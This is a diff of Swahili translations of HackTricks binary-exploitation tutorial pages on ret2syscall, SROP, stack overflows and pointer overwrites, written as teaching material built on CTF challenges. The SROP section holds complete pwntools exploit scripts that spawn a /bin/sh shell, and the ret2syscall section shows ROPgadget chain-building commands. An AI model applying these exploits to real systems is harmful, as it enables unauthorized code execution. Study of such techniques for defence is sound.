* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
@ -16,7 +16,7 @@ Njia nyingine za kusaidia HackTricks:
## Taarifa Msingi
Hii inafanana na Ret2lib, hata hivyo, katika kesi hii hatutaita kazi kutoka kwa maktaba. Katika kesi hii, kila kitu kitakuwa tayari kuita syscall `sys_execve` na baadhi ya hoja za kutekeleza `/bin/sh`.
Hii inafanana na Ret2lib, hata hivyo, katika kesi hii hatutaita kazi kutoka kwa maktaba. Katika kesi hii, kila kitu kitakuwa tayari kuita syscall `sys_execve` na baadhi ya hoja kutekeleza `/bin/sh`. Mbinu hii kawaida hutekelezwa kwenye faili za binary ambazo zimekompiliwa kwa njia ya static, hivyo kunaweza kuwa na vifaa vingi na maagizo ya syscall.
Ili kuandaa wito kwa **syscall** inahitajika usanidi ufuatao:
@ -25,16 +25,16 @@ Ili kuandaa wito kwa **syscall** inahitajika usanidi ufuatao:
* `rsi: 0 taja hakuna hoja zilizopitishwa`
* `rdx: 0 taja hakuna mazingira ya mazingira yaliyopitishwa`
Kwa hivyo, kimsingi ni lazima kuandika mfuatano `/bin/sh` mahali fulani na kisha kufanya `syscall` (ukiwa makini na kujaza inayohitajika kudhibiti steki). Kwa hili, tunahitaji kifaa cha kuandika `/bin/sh` katika eneo lililofahamika.
Kwa hiyo, kimsingi ni lazima kuandika mfuatano wa herufi `/bin/sh` mahali fulani na kisha kutekeleza `syscall` (ukiwa makini na kujaza inayohitajika kudhibiti steki). Kwa hili, tunahitaji kifaa cha kuandika `/bin/sh` katika eneo lililofahamika.
{% hint style="success" %}
Syscall nyingine ya kuvutia ya kuita ni **`mprotect`** ambayo ingemruhusu mshambuliaji **kurekebisha ruhusa ya ukurasa kwenye kumbukumbu**.
Syscall nyingine ya kuvutia ya kuita ni **`mprotect`** ambayo ingemruhusu mshambuliaji **kurekebisha ruhusa ya ukurasa kwenye kumbukumbu**. Hii inaweza kuchanganywa na [**ret2shellcode**](../stack-overflow/stack-shellcode.md).
{% endhint %}
## Vifaa vya Kudhibiti Vipimo
## Vifaa vya Kudhibiti Virejeshi
Tuanze kwa kutafuta **jinsi ya kudhibiti virejeshi hivyo**:
```c
```bash
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
0x0000000000400686 : pop rdi ; ret
@ -47,7 +47,7 @@ Kwa anwani hizi ni **inawezekana kuandika maudhui kwenye stack na kuzipakia kwen
### Kumbukumbu inayoweza kuandikwa
Kwanza unahitaji kupata mahali pa kuandika kwenye kumbukumbu
Kwanza unahitaji kupata mahali pa kuandika kwenye kumbukumbu.
```bash
gef> vmmap
[ Legend: Code | Heap | Stack ]
@ -63,6 +63,12 @@ Kisha unahitaji kupata njia ya kuandika maudhui yoyote kwenye anwani hii
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
```
### Kutomatisha mnyororo wa ROP
Amri ifuatayo inaunda mnyororo kamili wa `sys_execve` ROP ukipewa binary ya tuli wakati kuna vifaa vya andika-nini-popote na maagizo ya syscall:
```bash
ROPgadget --binary vuln --ropchain
```
#### Biti 32
```python
'''
@ -105,8 +111,8 @@ rop += writeGadget #Address to: mov qword ptr [rax], rdx
Ikiwa **unakosa vifaa**, kwa mfano kuandika `/bin/sh` kumbukumbu, unaweza kutumia **mbinu ya SROP kudhibiti thamani zote za rejista** (ikiwa ni pamoja na RIP na rejista za params) kutoka kwenye steki:
{% content-ref url="ret2esp-ret2reg/srop-sigreturn-oriented-programming.md" %}
[srop-sigreturn-oriented-programming.md](ret2esp-ret2reg/srop-sigreturn-oriented-programming.md)
{% content-ref url="srop-sigreturn-oriented-programming.md" %}
[srop-sigreturn-oriented-programming.md](srop-sigreturn-oriented-programming.md)
{% endcontent-ref %}
```python
from pwn import *

View file

@ -0,0 +1,148 @@
# SROP - Programu ya Sigreturn-Oriented
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
## Taarifa Msingi
**`Sigreturn`** ni **syscall** maalum ambayo kimsingi hutumiwa kusafisha baada ya kikamataji cha ishara kumaliza utekelezaji wake. Ishara ni mapumziko yanayotumwa kwa programu na mfumo wa uendeshaji, mara nyingi kumaanisha kuwa hali isiyo ya kawaida imejitokeza. Wakati programu inapokea ishara, kwa muda inasitisha kazi yake ya sasa kushughulikia ishara na **kikamataji cha ishara**, kazi maalum iliyoundwa kushughulikia ishara.
Baada ya kikamataji cha ishara kukamilisha, programu inahitaji **kuendelea na hali yake ya awali** kana kwamba hakuna kilichotokea. Hapa ndipo **`sigreturn`** inapoingia. Inasaidia programu **kurudi kutoka kwa kikamataji cha ishara** na kurejesha hali ya programu kwa kusafisha fremu ya steki (sehemu ya kumbukumbu inayohifadhi wito wa kazi na pembejeo za ndani) ambayo ilitumiwa na kikamataji cha ishara.
Sehemu inayovutia ni jinsi **`sigreturn`** inavyorejesha hali ya programu: inafanya hivyo kwa kuhifadhi **thamani zote za rejista za CPU** kwenye steki. Ishara haizuiwi tena, **`sigreturn` inapitisha thamani hizi kutoka kwenye steki**, ikirejesha kwa ufanisi rejista za CPU kwenye hali yake kabla ya ishara kushughulikiwa. Hii ni pamoja na rejista ya kidole cha steki (RSP), ambayo inaelekeza kwenye sehemu ya juu ya sasa ya steki.
{% hint style="danger" %}
Kuita syscall **`sigreturn`** kutoka kwa mnyororo wa ROP na **kuongeza thamani za rejista** tungependa iweze kuiweka kwenye **steki** inawezekana **kudhibiti** thamani zote za rejista na hivyo **kuita** kwa mfano syscall `execve` na `/bin/sh`.
{% endhint %}
Tafadhali angalia jinsi hii itakuwa **aina ya Ret2syscall** ambayo inafanya iwe rahisi kudhibiti vigezo vya kuita Ret2syscalls nyingine:
{% content-ref url="rop-syscall-execv.md" %}
[rop-syscall-execv.md](rop-syscall-execv.md)
{% endcontent-ref %}
Ikiwa una hamu hii ni **muundo wa sigcontext** uliohifadhiwa kwenye steki kwa kupona thamani baadaye (mtaalam kutoka [**hapa**](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)):
```
+--------------------+--------------------+
| rt_sigeturn() | uc_flags |
+--------------------+--------------------+
| &uc | uc_stack.ss_sp |
+--------------------+--------------------+
| uc_stack.ss_flags | uc.stack.ss_size |
+--------------------+--------------------+
| r8 | r9 |
+--------------------+--------------------+
| r10 | r11 |
+--------------------+--------------------+
| r12 | r13 |
+--------------------+--------------------+
| r14 | r15 |
+--------------------+--------------------+
| rdi | rsi |
+--------------------+--------------------+
| rbp | rbx |
+--------------------+--------------------+
| rdx | rax |
+--------------------+--------------------+
| rcx | rsp |
+--------------------+--------------------+
| rip | eflags |
+--------------------+--------------------+
| cs / gs / fs | err |
+--------------------+--------------------+
| trapno | oldmask (unused) |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate |
+--------------------+--------------------+
| __reserved | sigmask |
+--------------------+--------------------+
```
Kwa maelezo bora angalia pia:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
## Mfano
Unaweza [**kupata mfano hapa**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) ambapo wito wa signeturn unajengwa kupitia ROP (ukitia thamani `0xf` kwa rxa), ingawa hii ni shambulizi la mwisho kutoka hapo:
```python
from pwn import *
elf = context.binary = ELF('./vuln', checksec=False)
p = process()
BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015
frame = SigreturnFrame()
frame.rax = 0x3b # syscall number for execve
frame.rdi = BINSH # pointer to /bin/sh
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
frame.rip = SYSCALL_RET
payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf) # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
Angalia pia [**exploit kutoka hapa**](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html) ambapo binary ilikuwa tayari inaita `sigreturn` na kwa hivyo haifai kujenga hiyo na **ROP**:
```python
from pwn import *
# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)
# Establish the target architecture
context.arch = "amd64"
# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)
# Start making our sigreturn frame
frame = SigreturnFrame()
frame.rip = 0x400185 # Syscall instruction
frame.rax = 59 # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack
target.sendline(payload) # Send the target payload
# Drop to an interactive shell
target.interactive()
```
## Mifano na Marejeo Mengine
* [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
* [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
* [https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)
* Programu ya ushirikiano wa kisasa inayoruhusu **kuandika kwenye steki** na kisha kuita **syscall ya `sigreturn`**. Inawezekana kuandika kwenye steki [**ret2syscall**](rop-syscall-execv.md) kupitia muundo wa **sigreturn** na kusoma bendera ambayo iko ndani ya kumbukumbu ya programu ya ushirikiano.
* [https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html)
* Programu ya ushirikiano wa kisasa inayoruhusu **kuandika kwenye steki** na kisha kuita **syscall ya `sigreturn`**. Inawezekana kuandika kwenye steki [**ret2syscall**](rop-syscall-execv.md) kupitia muundo wa **sigreturn** (programu ya ushirikiano ina string `/bin/sh`).
* [https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html)
* Biti 64, hakuna relro, hakuna canary, nx, hakuna pie. Uvujaji rahisi wa steki unaoabuse kazi ya `gets` bila vifaa vya kutekeleza [**ret2syscall**](rop-syscall-execv.md). Mnyororo wa ROP unaandika `/bin/sh` katika `.bss` kwa kuita tena gets, unatumia kazi ya **`alarm`** kuweka eax kuwa `0xf` ili kuita **SROP** na kutekeleza kikao.
* [https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html)
* Programu ya biti 64, hakuna relro, hakuna canary, nx, hakuna pie. Mchakato unaruhusu kuandika kwenye steki, kudhibiti vijenzi kadhaa, na kuita syscall na kisha kuita `exit`. Syscall iliyochaguliwa ni `sigreturn` ambayo itaweka vijenzi na kuhamisha `eip` kuita maagizo ya syscall ya awali na kutekeleza `memprotect` kuweka nafasi ya programu kuwa `rwx` na kuweka ESP katika nafasi ya programu. Kufuata mchakato, programu itaita kusoma kwenye ESP tena, lakini katika kesi hii ESP itakuwa inaelekeza kwa maagizo yanayofuata hivyo kupitisha shellcode itaandika kama maagizo yanayofuata na kuyatekeleza.

View file

@ -1,27 +1,28 @@
# Kujaa Kwa Stack
# Kuzidi Kwa Stack
<details>
<summary><strong>Jifunze kuhusu kuhack AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
## Ni Nini Kujaa Kwa Stack
## Ni Nini Stack Overflow
**Kujaa kwa stack** ni udhaifu unapotokea programu inapoandika data zaidi kwenye stack kuliko ilivyotengewa kuhifadhi. Data hii ya ziada ita**andika juu ya nafasi ya kumbukumbu inayopakana**, ikisababisha uharibifu wa data halali, kuvuruga mtiririko wa udhibiti, na kwa uwezekano wa kutekeleza msimbo wa kudhuru. Tatizo hili mara nyingi hutokea kutokana na matumizi ya kazi zisizo salama ambazo hazifanyi ukaguzi wa mipaka kwenye data zinazoingia.
**Kuzidi kwa stack** ni udhaifu unapotokea wakati programu inaandika data zaidi kwenye stack kuliko ilivyotengewa kuhifadhi. Data hii ya ziada ita **zifuta nafasi ya kumbukumbu inayopakana**, ikisababisha uharibifu wa data halali, kuvuruga mtiririko wa udhibiti, na kwa uwezekano wa kutekeleza msimbo wa kudhuru. Tatizo hili mara nyingi hutokea kutokana na matumizi ya kazi zisizo salama ambazo hazifanyi ukaguzi wa mipaka kwenye data zinazoingia.
Tatizo kuu la andishi hili ni kwamba viashiria vya **EIP** na **EBP** vya kurudi kwenye kazi iliyotangulia vime**hifadhiwa kwenye stack**. Hivyo, mshambuliaji ataweza kuandika juu ya hivyo na **kudhibiti mtiririko wa utekelezaji wa programu**.
Tatizo kuu la kuzidi huku ni kwamba **ishara iliyohifadhiwa ya maagizo (EIP/RIP)** na **ishara iliyohifadhiwa ya msingi (EBP/RBP)** ya kurudi kwenye kazi iliyotangulia zinahifadhiwa kwenye stack. Hivyo basi, mshambuliaji ataweza kuzifuta hizo na **kudhibiti mtiririko wa utekelezaji wa programu**.
Udhaifu huu kawaida hutokea kwa sababu kazi **inaiga ndani ya stack zaidi ya herufi zilizotengwa kwa ajili yake**, hivyo kuweza kuandika juu ya sehemu nyingine za stack.\
Baadhi ya kazi za kawaida zinazoweza kuwa na udhaifu huu ni: `strcpy`, `strcat`, `sprintf`, `gets`, `fgets`...
Udhaifu huu kawaida hutokea kwa sababu kazi **inafanya nakala ndani ya stack ya herufi zaidi kuliko kiasi kilichotengwa kwa ajili yake**, hivyo kuweza kuzifuta sehemu nyingine za stack.
Baadhi ya kazi za kawaida zinazoweza kuwa na udhaifu huu ni: **`strcpy`, `strcat`, `sprintf`, `gets`**... Pia, kazi kama **`fgets`**, **`read` & `memcpy`** ambazo zinachukua **hoja ya urefu**, zinaweza kutumika kwa njia yenye udhaifu ikiwa urefu uliotajwa ni mkubwa kuliko ule uliotengwa.
Kwa mfano, kazi zifuatazo zinaweza kuwa na udhaifu:
```c
@ -32,13 +33,13 @@ gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
```
### Kupata Vipande vya Kutosha vya Stack Overflows
### Kupata Vipande vya Kuzidi Kwenye Stack
Njia ya kawaida ya kupata vipande vya kutosha vya stack ni kutoa kuingiza kubwa sana ya `A`s (k.m. `python3 -c 'print("A"*1000)'`) na kutarajia `Segmentation Fault` inayoashiria kwamba **anwani `0x41414141` ilijaribu kufikiwa**.
Njia ya kawaida ya kupata vipande vya kuzidi kwenye stack ni kutoa kuingia kikubwa sana cha `A` (k.m. `python3 -c 'print("A"*1000)'`) na kutarajia `Segmentation Fault` inayoashiria kwamba **anwani `0x41414141` ilijaribiwa kupatikana**.
Zaidi ya hayo, mara baada ya kugundua kuwa kuna udhaifu wa Stack Overflow utahitaji kupata vipande vya kutosha hadi iwezekane **kubadilisha kidude cha EIP**, kwa hili kawaida hutumika **De Bruijn sequence.** Ambayo kwa alfabeti iliyopewa ya ukubwa _k_ na vipande vya urefu _n_ ni **mfululizo wa mzunguko ambapo kila kipande kinachowezekana cha urefu **_**n**_** kinatokea mara moja tu** kama kipande kinachofuatana.
Zaidi ya hayo, mara baada ya kugundua kuwepo kwa udhaifu wa Kuzidi Kwenye Stack, utahitaji kupata kipande hadi iwezekane kubadilisha **anwani ya kurudi**, kwa hili kawaida hutumika **Mfululizo wa De Bruijn.** Ambao kwa alfabeti iliyopewa ya ukubwa _k_ na vipande vya urefu _n_ ni **mfululizo wa mzunguko ambapo kila kipande kinachowezekana cha urefu \_n**\_\*\* kinatokea mara moja tu\*\* kama kipande kinachofuatana.
Kwa njia hii, badala ya kuhitaji kufahamu ni vipi kipande kinachobadilisha EIP kwa mkono, ni rahisi kutumia mojawapo ya vipande hivi kama kujaza na kisha kupata vipande vya herufi vilivyomaliza kubadilisha.
Hivyo, badala ya kuhitaji kufikiria ni kipande gani kinahitajika kudhibiti EIP kwa mkono, ni rahisi kutumia mojawapo ya mfululizo huu kama kujaza na kisha kupata kipande cha herufi kilichomaliza kubadilisha.
Inawezekana kutumia **pwntools** kwa hili:
```python
@ -61,14 +62,14 @@ pattern search $rsp #Search the offset given the content of $rsp
```
## Kudukua Mabaki ya Stack
Wakati wa kudukua (ukiwa na ukubwa wa kutosha wa kudukua) utaweza kubadilisha thamani za mabaki mengine ndani ya stack hadi kufikia EBP na EIP (au hata zaidi).\
Njia ya kawaida ya kutumia udhaifu huu ni kwa **kubadilisha kiongozi cha EIP** ili wakati wa kumaliza kazi **mtiririko wa udhibiti utaelekezwa mahali ambapo mtumiaji alipendekeza** kwenye kiongozi huu.
Wakati wa kudukua (ukiwa na ukubwa wa kutosha), utaweza **kubadilisha** thamani za mchanganyiko wa ndani wa stack hadi kufikia **EBP/RBP na EIP/RIP zilizohifadhiwa (au hata zaidi)**.\
Njia ya kawaida ya kutumia udhaifu huu ni kwa **kubadilisha anwani ya kurudi** ili wakati wa kumalizika kwa kazi, **mkondo wa udhibiti utaelekezwa mahali ambapo mtumiaji alipendekeza** katika kidude hiki.
Hata hivyo, katika mazingira mengine labda **kubadilisha thamani za baadhi ya mabaki katika stack** inaweza kuwa ya kutosha kwa udanganyifu (kama katika changamoto rahisi za CTF).
Hata hivyo, katika mazingira mengine labda **kubadilisha thamani za baadhi ya mchanganyiko wa stack** inaweza kuwa ya kutosha kwa kudukua (kama katika changamoto rahisi za CTF).
### Ret2win
Katika aina hii ya changamoto za CTF, kuna **kazi** **ndani** ya binary ambayo **haiitwi kamwe** na **unahitaji kuipiga ili ushinde**. Kwa changamoto hizi unahitaji tu kupata **kielelezo cha kubadilisha EIP** na **kupata anwani ya kazi** ya kupiga simu (kawaida [**ASLR**](../common-binary-protections-and-bypasses/aslr/) itakuwa imelemazwa) ili wakati kazi yenye udhaifu inaporudi, kazi iliyofichwa itaitwa:
Katika aina hii ya changamoto za CTF, kuna **kazi** **ndani** ya binary ambayo **haijawahi kuitwa** na **unahitaji kuipiga ili kushinda**. Kwa changamoto hizi unahitaji tu kupata **kielelezo cha kubadilisha anwani ya kurudi** na **kupata anwani ya kazi** ya kupiga simu (kawaida [**ASLR**](../common-binary-protections-and-bypasses/aslr/) itakuwa imelemazwa) hivyo wakati kazi yenye udhaifu inaporudi, kazi iliyofichwa itaitwa:
{% content-ref url="ret2win.md" %}
[ret2win.md](ret2win.md)
@ -76,7 +77,7 @@ Katika aina hii ya changamoto za CTF, kuna **kazi** **ndani** ya binary ambayo *
### Shellcode ya Stack
Katika hali hii, mkaidi anaweza kuweka shellcode katika stack na kutumia EIP iliyodhibitiwa kwenda kwenye shellcode na kutekeleza msimbo wa mkaidi:
Katika hali hii, mkaidi anaweza kuweka shellcode kwenye stack na kutumia EIP/RIP iliyodhibitiwa kuruka kwenye shellcode na kutekeleza kanuni za aina yoyote:
{% content-ref url="stack-shellcode.md" %}
[stack-shellcode.md](stack-shellcode.md)
@ -84,7 +85,7 @@ Katika hali hii, mkaidi anaweza kuweka shellcode katika stack na kutumia EIP ili
### ROP & Mbinu za Ret2...
Mbinu hii ni mfumo msingi wa kukiuka kinga kuu kwa mbinu iliyotangulia: **Hakuna stack inayoweza kutekelezwa**. Na inaruhusu kutekeleza mbinu kadhaa zingine (ret2lib, ret2syscall...) ambazo mwishowe zitakayotekeleza amri za aina yoyote kwa kudanganya maagizo yaliyopo katika binary:
Mbinu hii ni mfumo msingi wa kukiuka kinga kuu kwa mbinu iliyotangulia: **Stack isiyoweza kutekelezwa (NX)**. Na inaruhusu kutekeleza mbinu kadhaa zingine (ret2lib, ret2syscall...) ambazo mwishowe zitakamilisha kutekeleza amri za aina yoyote kwa kudhuru maagizo yaliyopo kwenye binary:
{% content-ref url="../rop-return-oriented-programing/" %}
[rop-return-oriented-programing](../rop-return-oriented-programing/)
@ -92,7 +93,7 @@ Mbinu hii ni mfumo msingi wa kukiuka kinga kuu kwa mbinu iliyotangulia: **Hakuna
## Aina za kinga
Kuna kinga kadhaa zinajaribu kuzuia udanganyifu wa udhaifu, zitazame hapa:
Kuna kinga kadhaa zinazojaribu kuzuia kudukua kwa udhaifu, zitazame hapa:
{% content-ref url="../common-binary-protections-and-bypasses/" %}
[common-binary-protections-and-bypasses](../common-binary-protections-and-bypasses/)

View file

@ -2,7 +2,7 @@
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalam na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
@ -16,11 +16,11 @@ Njia nyingine za kusaidia HackTricks:
## Pointa za String
Ikiwa wito wa kazi utatumia anwani ya string ambayo iko kwenye steki, inawezekana kutumia kosa la kujaza upeo wa buffer kubadilisha anwani hii na kuweka **anwani ya string tofauti** ndani ya binary.
Ikiwa wito wa kazi unatarajia kutumia anwani ya string iliyoko kwenye steki, inawezekana kutumia kosa la kujaza upeo wa buffer kubadilisha anwani hii na kuweka **anwani ya string tofauti** ndani ya binary.
Ikiwa kwa mfano wito wa kazi wa **`system`** utatumia anwani ya string kutekeleza amri, mshambuliaji anaweza kuweka **anwani ya string tofauti kwenye steki**, **`export PATH=.:$PATH`** na kuunda kwenye saraka ya sasa skripti yenye jina la herufi ya kwanza ya string mpya kwani itatekelezwa na binary.
Kwa mfano, ikiwa wito wa kazi wa **`system`** unatarajia **kutumia anwani ya string kutekeleza amri**, mshambuliaji anaweza kuweka **anwani ya string tofauti kwenye steki**, **`export PATH=.:$PATH`** na kuunda kwenye saraka ya sasa **script yenye jina la herufi ya kwanza ya string mpya** kwani itatekelezwa na binary.
Unaweza kupata mfano wa hii katika:
Unaweza kupata **mfano** wa hili katika:
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c)
* [https://guyinatuxedo.github.io/04-bof\_variable/tw17\_justdoit/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tw17\_justdoit/index.html)
@ -28,7 +28,7 @@ Unaweza kupata mfano wa hii katika:
## Pointa za Kazi
Sawa na pointa ya string lakini ikitekelezwa kwa kazi, ikiwa **steki ina anwani ya kazi** itakayoitwa, inawezekana **kuibadilisha** (k.m. kuita **`system`**).
Sawa na pointa za string lakini zikitumika kwa kazi, ikiwa **steki ina anwani ya kazi** itakayoitwa, inawezekana **kuibadilisha** (k.m. kuita **`system`**).
Unaweza kupata mfano katika:
@ -40,7 +40,7 @@ Unaweza kupata mfano katika:
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalam na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
@ -48,6 +48,6 @@ Njia nyingine za kusaidia HackTricks:
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>

View file

@ -2,7 +2,7 @@
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
@ -10,13 +10,13 @@ Njia nyingine za kusaidia HackTricks:
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
## Taarifa Msingi
